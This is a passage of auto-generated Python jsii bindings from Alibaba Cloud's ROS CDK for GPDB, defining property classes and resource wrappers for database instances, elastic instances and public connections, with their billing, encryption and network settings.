pay_type: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, period: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, period_unit: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, security_ip_list: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, vpc_id: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, ) -> None: '''Properties for defining a ``ALIYUN::GPDB::DBInstance``. :param db_instance_class: :param db_instance_group_count: :param engine_version: :param v_switch_id: :param zone_id: :param db_instance_description: :param pay_type: :param period: :param period_unit: :param security_ip_list: :param vpc_id: ''' self._values: typing.Dict[str, typing.Any] = { "db_instance_class": db_instance_class, "db_instance_group_count": db_instance_group_count, "engine_version": engine_version, "v_switch_id": v_switch_id, "zone_id": zone_id, } if db_instance_description is not None: self._values["db_instance_description"] = db_instance_description if pay_type is not None: self._values["pay_type"] = pay_type if period is not None: self._values["period"] = period if period_unit is not None: self._values["period_unit"] = period_unit if security_ip_list is not None: self._values["security_ip_list"] = security_ip_list if vpc_id is not None: self._values["vpc_id"] = vpc_id @builtins.property def db_instance_class(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: dbInstanceClass: The instance type. ''' result = self._values.get("db_instance_class") assert result is not None, "Required property 'db_instance_class' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def db_instance_group_count( self, ) -> typing.Union[jsii.Number, ros_cdk_core.IResolvable]: ''' :Property: dbInstanceGroupCount: The number of compute nodes in the instance. ''' result = self._values.get("db_instance_group_count") assert result is not None, "Required property 'db_instance_group_count' is missing" return typing.cast(typing.Union[jsii.Number, ros_cdk_core.IResolvable], result) @builtins.property def engine_version(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: engineVersion: The version of the database engine. ''' result = self._values.get("engine_version") assert result is not None, "Required property 'engine_version' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def v_switch_id(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: vSwitchId: The vSwitch ID of the instance. ''' result = self._values.get("v_switch_id") assert result is not None, "Required property 'v_switch_id' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def zone_id(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: zoneId: The zone ID of the instance, such as cn-hangzhou-d. You can call the DescribeRegions operation to query the most recent zone list. ''' result = self._values.get("zone_id") assert result is not None, "Required property 'zone_id' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def db_instance_description( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: dbInstanceDescription: The description of the instance. The description cannot exceed 256 characters in length. ''' result = self._values.get("db_instance_description") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def pay_type( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: payType: The billing method of the instance. Default value: Postpaid. Valid values: Postpaid: pay-as-you-go Prepaid: subscription ''' result = self._values.get("pay_type") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def period( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: period: The subscription period. While choose by pay by month, it could be from 1 to 11. While choose pay by year, it could be from 1 to 3. ''' result = self._values.get("period") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def period_unit( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: periodUnit: Unit of subscription period, it could be Month/Year. Default value is Month. ''' result = self._values.get("period_unit") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def security_ip_list( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: securityIpList: The whitelist of IP addresses that are allowed to access the instance. Default value: 127.0.0.1. ''' result = self._values.get("security_ip_list") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def vpc_id( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: vpcId: The VPC ID of the instance. If you set the InstanceNetworkType parameter to VPC, you must also specify the VPCId parameter. The specified region of the VPC must be the same as the RegionId value. ''' result = self._values.get("vpc_id") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "RosDBInstanceProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) class RosElasticDBInstance( ros_cdk_core.RosResource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-gpdb.RosElasticDBInstance", ): '''A ROS template type: ``ALIYUN::GPDB::ElasticDBInstance``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: "RosElasticDBInstanceProps", enable_resource_property_constraint: builtins.bool, ) -> None: '''Create a new ``ALIYUN::GPDB::ElasticDBInstance``. :param scope: - scope in which this resource is defined. :param id: - scoped id of the resource. :param props: - resource properties. :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @jsii.member(jsii_name="renderProperties") def _render_properties( self, props: typing.Mapping[builtins.str, typing.Any], ) -> typing.Mapping[builtins.str, typing.Any]: ''' :param props: - ''' return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.invoke(self, "renderProperties", [props])) @jsii.python.classproperty # type: ignore[misc] @jsii.member(jsii_name="ROS_RESOURCE_TYPE_NAME") def ROS_RESOURCE_TYPE_NAME(cls) -> builtins.str: '''The resource type name for this resource class.''' return typing.cast(builtins.str, jsii.sget(cls, "ROS_RESOURCE_TYPE_NAME")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrConnectionString") def attr_connection_string(self) -> ros_cdk_core.IResolvable: ''' :Attribute: ConnectionString: The endpoint of the instance. ''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrConnectionString")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrDbInstanceId") def attr_db_instance_id(self) -> ros_cdk_core.IResolvable: ''' :Attribute: DBInstanceId: The ID of the instance. ''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrDbInstanceId")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrOrderId") def attr_order_id(self) -> ros_cdk_core.IResolvable: ''' :Attribute: OrderId: The order ID of the instance. ''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrOrderId")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrPort") def attr_port(self) -> ros_cdk_core.IResolvable: ''' :Attribute: Port: The port used to connect to the instance. ''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrPort")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="rosProperties") def _ros_properties(self) -> typing.Mapping[builtins.str, typing.Any]: return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.get(self, "rosProperties")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="enableResourcePropertyConstraint") def enable_resource_property_constraint(self) -> builtins.bool: return typing.cast(builtins.bool, jsii.get(self, "enableResourcePropertyConstraint")) @enable_resource_property_constraint.setter def enable_resource_property_constraint(self, value: builtins.bool) -> None: jsii.set(self, "enableResourcePropertyConstraint", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="engineVersion") def engine_version(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: engineVersion: The version of the database engine. ''' return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], jsii.get(self, "engineVersion")) @engine_version.setter def engine_version( self, value: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "engineVersion", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="instanceSpec") def instance_spec(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: instanceSpec: The specification of segment nodes. For example: 2C16G, 4C32G, 16C128G. ''' return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], jsii.get(self, "instanceSpec")) @instance_spec.setter def instance_spec( self, value: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "instanceSpec", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="segNodeNum") def seg_node_num(self) -> typing.Union[jsii.Number, ros_cdk_core.IResolvable]: ''' :Property: segNodeNum: The number of segment nodes. Minimum is 4, max is 512, step is 4. ''' return typing.cast(typing.Union[jsii.Number, ros_cdk_core.IResolvable], jsii.get(self, "segNodeNum")) @seg_node_num.setter def seg_node_num( self, value: typing.Union[jsii.Number, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "segNodeNum", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="segStorageType") def seg_storage_type(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: segStorageType: The disk type of segment nodes. For example: cloud_essd, cloud_efficiency. ''' return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], jsii.get(self, "segStorageType")) @seg_storage_type.setter def seg_storage_type( self, value: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "segStorageType", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="storageSize") def storage_size(self) -> typing.Union[jsii.Number, ros_cdk_core.IResolvable]: ''' :Property: storageSize: The storage capacity of per segment node. Unit: GB. Minimum is 50, max is 4000, step is 50. ''' return typing.cast(typing.Union[jsii.Number, ros_cdk_core.IResolvable], jsii.get(self, "storageSize")) @storage_size.setter def storage_size( self, value: typing.Union[jsii.Number, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "storageSize", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="vSwitchId") def v_switch_id(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: vSwitchId: The vSwitch ID of the instance. ''' return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], jsii.get(self, "vSwitchId")) @v_switch_id.setter def v_switch_id( self, value: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "vSwitchId", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="zoneId") def zone_id(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: zoneId: The zone ID of the instance, such as cn-hangzhou-d. You can call the DescribeRegions operation to query the most recent zone list. ''' return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], jsii.get(self, "zoneId")) @zone_id.setter def zone_id( self, value: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "zoneId", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="dbInstanceCategory") def db_instance_category( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: dbInstanceCategory: DB instance category, valid values: Basic, HighAvailability ''' return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], jsii.get(self, "dbInstanceCategory")) @db_instance_category.setter def db_instance_category( self, value: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "dbInstanceCategory", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="dbInstanceDescription") def db_instance_description( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: dbInstanceDescription: The description of the instance. The description cannot exceed 256 characters in length. ''' return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], jsii.get(self, "dbInstanceDescription")) @db_instance_description.setter def db_instance_description( self, value: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "dbInstanceDescription", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="encryptionKey") def encryption_key( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: encryptionKey: If the EncryptionType parameter is set to CloudDisk, you must specify this parameter to the encryption key that is in the same region with the disks that is specified by the EncryptionType parameter. Otherwise, leave this parameter empty. ''' return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], jsii.get(self, "encryptionKey")) @encryption_key.setter def encryption_key( self, value: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "encryptionKey", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="encryptionType") def encryption_type( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: encryptionType: The type of the encryption. Default value: NULL. Valid values: NULL: Encryption is disabled. CloudDisk: Encryption is enabled on disks and the encryption key is specified by using the EncryptionKey parameter. Note: Disk encryption cannot be disabled after it is enabled. ''' return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], jsii.get(self, "encryptionType")) @encryption_type.setter def encryption_type( self, value: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "encryptionType", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="masterNodeNum") def master_node_num( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: masterNodeNum: The number of master nodes. Minimum is 1, max is 2. ''' return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], jsii.get(self, "masterNodeNum")) @master_node_num.setter def master_node_num( self, value: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "masterNodeNum", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="payType") def pay_type( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: payType: The billing method of the instance. Default value: Postpaid. Valid values: Postpaid: pay-as-you-go Prepaid: subscription ''' return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], jsii.get(self, "payType")) @pay_type.setter def pay_type( self, value: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "payType", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="period") def period( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: period: The subscription period. While choose by pay by month, it could be from 1 to 11. While choose pay by year, it could be from 1 to 3. ''' return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], jsii.get(self, "period")) @period.setter def period( self, value: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "period", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="periodUnit") def period_unit( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: periodUnit: Unit of subscription period, it could be Month/Year. Default value is Month. ''' return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], jsii.get(self, "periodUnit")) @period_unit.setter def period_unit( self, value: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "periodUnit", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="securityIpList") def security_ip_list( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: securityIpList: The whitelist of IP addresses that are allowed to access the instance. Default value: 127.0.0.1. ''' return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], jsii.get(self, "securityIpList")) @security_ip_list.setter def security_ip_list( self, value: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "securityIpList", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="vpcId") def vpc_id( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: vpcId: The VPC ID of the instance. If you set the InstanceNetworkType parameter to VPC, you must also specify the VPCId parameter. The specified region of the VPC must be the same as the RegionId value. ''' return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], jsii.get(self, "vpcId")) @vpc_id.setter def vpc_id( self, value: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], ) -> None: jsii.set(self, "vpcId", value) @jsii.data_type( jsii_type="@alicloud/ros-cdk-gpdb.RosElasticDBInstanceProps", jsii_struct_bases=[], name_mapping={ "engine_version": "engineVersion", "instance_spec": "instanceSpec", "seg_node_num": "segNodeNum", "seg_storage_type": "segStorageType", "storage_size": "storageSize", "v_switch_id": "vSwitchId", "zone_id": "zoneId", "db_instance_category": "dbInstanceCategory", "db_instance_description": "dbInstanceDescription", "encryption_key": "encryptionKey", "encryption_type": "encryptionType", "master_node_num": "masterNodeNum", "pay_type": "payType", "period": "period", "period_unit": "periodUnit", "security_ip_list": "securityIpList", "vpc_id": "vpcId", }, ) class RosElasticDBInstanceProps: def __init__( self, *, engine_version: typing.Union[builtins.str, ros_cdk_core.IResolvable], instance_spec: typing.Union[builtins.str, ros_cdk_core.IResolvable], seg_node_num: typing.Union[jsii.Number, ros_cdk_core.IResolvable], seg_storage_type: typing.Union[builtins.str, ros_cdk_core.IResolvable], storage_size: typing.Union[jsii.Number, ros_cdk_core.IResolvable], v_switch_id: typing.Union[builtins.str, ros_cdk_core.IResolvable], zone_id: typing.Union[builtins.str, ros_cdk_core.IResolvable], db_instance_category: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, db_instance_description: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, encryption_key: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, encryption_type: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, master_node_num: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, pay_type: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, period: typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]] = None, period_unit: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, security_ip_list: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, vpc_id: typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]] = None, ) -> None: '''Properties for defining a ``ALIYUN::GPDB::ElasticDBInstance``. :param engine_version: :param instance_spec: :param seg_node_num: :param seg_storage_type: :param storage_size: :param v_switch_id: :param zone_id: :param db_instance_category: :param db_instance_description: :param encryption_key: :param encryption_type: :param master_node_num: :param pay_type: :param period: :param period_unit: :param security_ip_list: :param vpc_id: ''' self._values: typing.Dict[str, typing.Any] = { "engine_version": engine_version, "instance_spec": instance_spec, "seg_node_num": seg_node_num, "seg_storage_type": seg_storage_type, "storage_size": storage_size, "v_switch_id": v_switch_id, "zone_id": zone_id, } if db_instance_category is not None: self._values["db_instance_category"] = db_instance_category if db_instance_description is not None: self._values["db_instance_description"] = db_instance_description if encryption_key is not None: self._values["encryption_key"] = encryption_key if encryption_type is not None: self._values["encryption_type"] = encryption_type if master_node_num is not None: self._values["master_node_num"] = master_node_num if pay_type is not None: self._values["pay_type"] = pay_type if period is not None: self._values["period"] = period if period_unit is not None: self._values["period_unit"] = period_unit if security_ip_list is not None: self._values["security_ip_list"] = security_ip_list if vpc_id is not None: self._values["vpc_id"] = vpc_id @builtins.property def engine_version(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: engineVersion: The version of the database engine. ''' result = self._values.get("engine_version") assert result is not None, "Required property 'engine_version' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def instance_spec(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: instanceSpec: The specification of segment nodes. For example: 2C16G, 4C32G, 16C128G. ''' result = self._values.get("instance_spec") assert result is not None, "Required property 'instance_spec' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def seg_node_num(self) -> typing.Union[jsii.Number, ros_cdk_core.IResolvable]: ''' :Property: segNodeNum: The number of segment nodes. Minimum is 4, max is 512, step is 4. ''' result = self._values.get("seg_node_num") assert result is not None, "Required property 'seg_node_num' is missing" return typing.cast(typing.Union[jsii.Number, ros_cdk_core.IResolvable], result) @builtins.property def seg_storage_type(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: segStorageType: The disk type of segment nodes. For example: cloud_essd, cloud_efficiency. ''' result = self._values.get("seg_storage_type") assert result is not None, "Required property 'seg_storage_type' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def storage_size(self) -> typing.Union[jsii.Number, ros_cdk_core.IResolvable]: ''' :Property: storageSize: The storage capacity of per segment node. Unit: GB. Minimum is 50, max is 4000, step is 50. ''' result = self._values.get("storage_size") assert result is not None, "Required property 'storage_size' is missing" return typing.cast(typing.Union[jsii.Number, ros_cdk_core.IResolvable], result) @builtins.property def v_switch_id(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: vSwitchId: The vSwitch ID of the instance. ''' result = self._values.get("v_switch_id") assert result is not None, "Required property 'v_switch_id' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def zone_id(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: zoneId: The zone ID of the instance, such as cn-hangzhou-d. You can call the DescribeRegions operation to query the most recent zone list. ''' result = self._values.get("zone_id") assert result is not None, "Required property 'zone_id' is missing" return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], result) @builtins.property def db_instance_category( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: dbInstanceCategory: DB instance category, valid values: Basic, HighAvailability ''' result = self._values.get("db_instance_category") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def db_instance_description( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: dbInstanceDescription: The description of the instance. The description cannot exceed 256 characters in length. ''' result = self._values.get("db_instance_description") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def encryption_key( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: encryptionKey: If the EncryptionType parameter is set to CloudDisk, you must specify this parameter to the encryption key that is in the same region with the disks that is specified by the EncryptionType parameter. Otherwise, leave this parameter empty. ''' result = self._values.get("encryption_key") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def encryption_type( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: encryptionType: The type of the encryption. Default value: NULL. Valid values: NULL: Encryption is disabled. CloudDisk: Encryption is enabled on disks and the encryption key is specified by using the EncryptionKey parameter. Note: Disk encryption cannot be disabled after it is enabled. ''' result = self._values.get("encryption_type") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def master_node_num( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: masterNodeNum: The number of master nodes. Minimum is 1, max is 2. ''' result = self._values.get("master_node_num") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def pay_type( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: payType: The billing method of the instance. Default value: Postpaid. Valid values: Postpaid: pay-as-you-go Prepaid: subscription ''' result = self._values.get("pay_type") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def period( self, ) -> typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]]: ''' :Property: period: The subscription period. While choose by pay by month, it could be from 1 to 11. While choose pay by year, it could be from 1 to 3. ''' result = self._values.get("period") return typing.cast(typing.Optional[typing.Union[jsii.Number, ros_cdk_core.IResolvable]], result) @builtins.property def period_unit( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: periodUnit: Unit of subscription period, it could be Month/Year. Default value is Month. ''' result = self._values.get("period_unit") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def security_ip_list( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: securityIpList: The whitelist of IP addresses that are allowed to access the instance. Default value: 127.0.0.1. ''' result = self._values.get("security_ip_list") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) @builtins.property def vpc_id( self, ) -> typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]]: ''' :Property: vpcId: The VPC ID of the instance. If you set the InstanceNetworkType parameter to VPC, you must also specify the VPCId parameter. The specified region of the VPC must be the same as the RegionId value. ''' result = self._values.get("vpc_id") return typing.cast(typing.Optional[typing.Union[builtins.str, ros_cdk_core.IResolvable]], result) def __eq__(self, rhs: typing.Any) -> builtins.bool: return isinstance(rhs, self.__class__) and rhs._values == self._values def __ne__(self, rhs: typing.Any) -> builtins.bool: return not (rhs == self) def __repr__(self) -> str: return "RosElasticDBInstanceProps(%s)" % ", ".join( k + "=" + repr(v) for k, v in self._values.items() ) class RosInstancePublicConnection( ros_cdk_core.RosResource, metaclass=jsii.JSIIMeta, jsii_type="@alicloud/ros-cdk-gpdb.RosInstancePublicConnection", ): '''A ROS template type: ``ALIYUN::GPDB::InstancePublicConnection``.''' def __init__( self, scope: ros_cdk_core.Construct, id: builtins.str, props: "RosInstancePublicConnectionProps", enable_resource_property_constraint: builtins.bool, ) -> None: '''Create a new ``ALIYUN::GPDB::InstancePublicConnection``. :param scope: - scope in which this resource is defined. :param id: - scoped id of the resource. :param props: - resource properties. :param enable_resource_property_constraint: - ''' jsii.create(self.__class__, self, [scope, id, props, enable_resource_property_constraint]) @jsii.member(jsii_name="renderProperties") def _render_properties( self, props: typing.Mapping[builtins.str, typing.Any], ) -> typing.Mapping[builtins.str, typing.Any]: ''' :param props: - ''' return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.invoke(self, "renderProperties", [props])) @jsii.python.classproperty # type: ignore[misc] @jsii.member(jsii_name="ROS_RESOURCE_TYPE_NAME") def ROS_RESOURCE_TYPE_NAME(cls) -> builtins.str: '''The resource type name for this resource class.''' return typing.cast(builtins.str, jsii.sget(cls, "ROS_RESOURCE_TYPE_NAME")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrConnectionString") def attr_connection_string(self) -> ros_cdk_core.IResolvable: ''' :Attribute: ConnectionString: The connection string of the instance. ''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrConnectionString")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="attrDbInstanceId") def attr_db_instance_id(self) -> ros_cdk_core.IResolvable: ''' :Attribute: DBInstanceId: The ID of the instance. ''' return typing.cast(ros_cdk_core.IResolvable, jsii.get(self, "attrDbInstanceId")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="rosProperties") def _ros_properties(self) -> typing.Mapping[builtins.str, typing.Any]: return typing.cast(typing.Mapping[builtins.str, typing.Any], jsii.get(self, "rosProperties")) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="connectionStringPrefix") def connection_string_prefix( self, ) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: connectionStringPrefix: The endpoint that is used to connect to the specified database. ''' return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], jsii.get(self, "connectionStringPrefix")) @connection_string_prefix.setter def connection_string_prefix( self, value: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "connectionStringPrefix", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="dbInstanceId") def db_instance_id(self) -> typing.Union[builtins.str, ros_cdk_core.IResolvable]: ''' :Property: dbInstanceId: The ID of the instance. ''' return typing.cast(typing.Union[builtins.str, ros_cdk_core.IResolvable], jsii.get(self, "dbInstanceId")) @db_instance_id.setter def db_instance_id( self, value: typing.Union[builtins.str, ros_cdk_core.IResolvable], ) -> None: jsii.set(self, "dbInstanceId", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="enableResourcePropertyConstraint") def enable_resource_property_constraint(self) -> builtins.bool: return typing.cast(builtins.bool, jsii.get(self, "enableResourcePropertyConstraint")) @enable_resource_property_constraint.setter def enable_resource_property_constraint(self, value: builtins.bool) -> None: jsii.set(self, "enableResourcePropertyConstraint", value) @builtins.property # type: ignore[misc] @jsii.member(jsii_name="port") def port(self) -> typing.Union[jsii.Number, ros_cdk_core.IResolvable]: ''' :Property: port: The port number of the instance. ''' return typing.cast(typing.Union[jsii.Number, ros_cdk_core.IResolvable], jsii.get(self, "port")) @port.setter def port(self, value: typing.Union[jsii.Number, ros_cdk_core.IResolvable]) -> None: jsii.set(self, "port", value) @jsii.data_type( jsii_type="@alicloud/ros-cdk-gpdb.RosInstancePublicConnectionProps", jsii_struct_bases=[], name_mapping={ "connection_string_prefix": "connectionStringPrefix", "db_instance_id": "dbInstanceId", "port": "port", }, ) class RosInstancePublicConnectionProps: def __init__( self, *, connection_string_prefix: 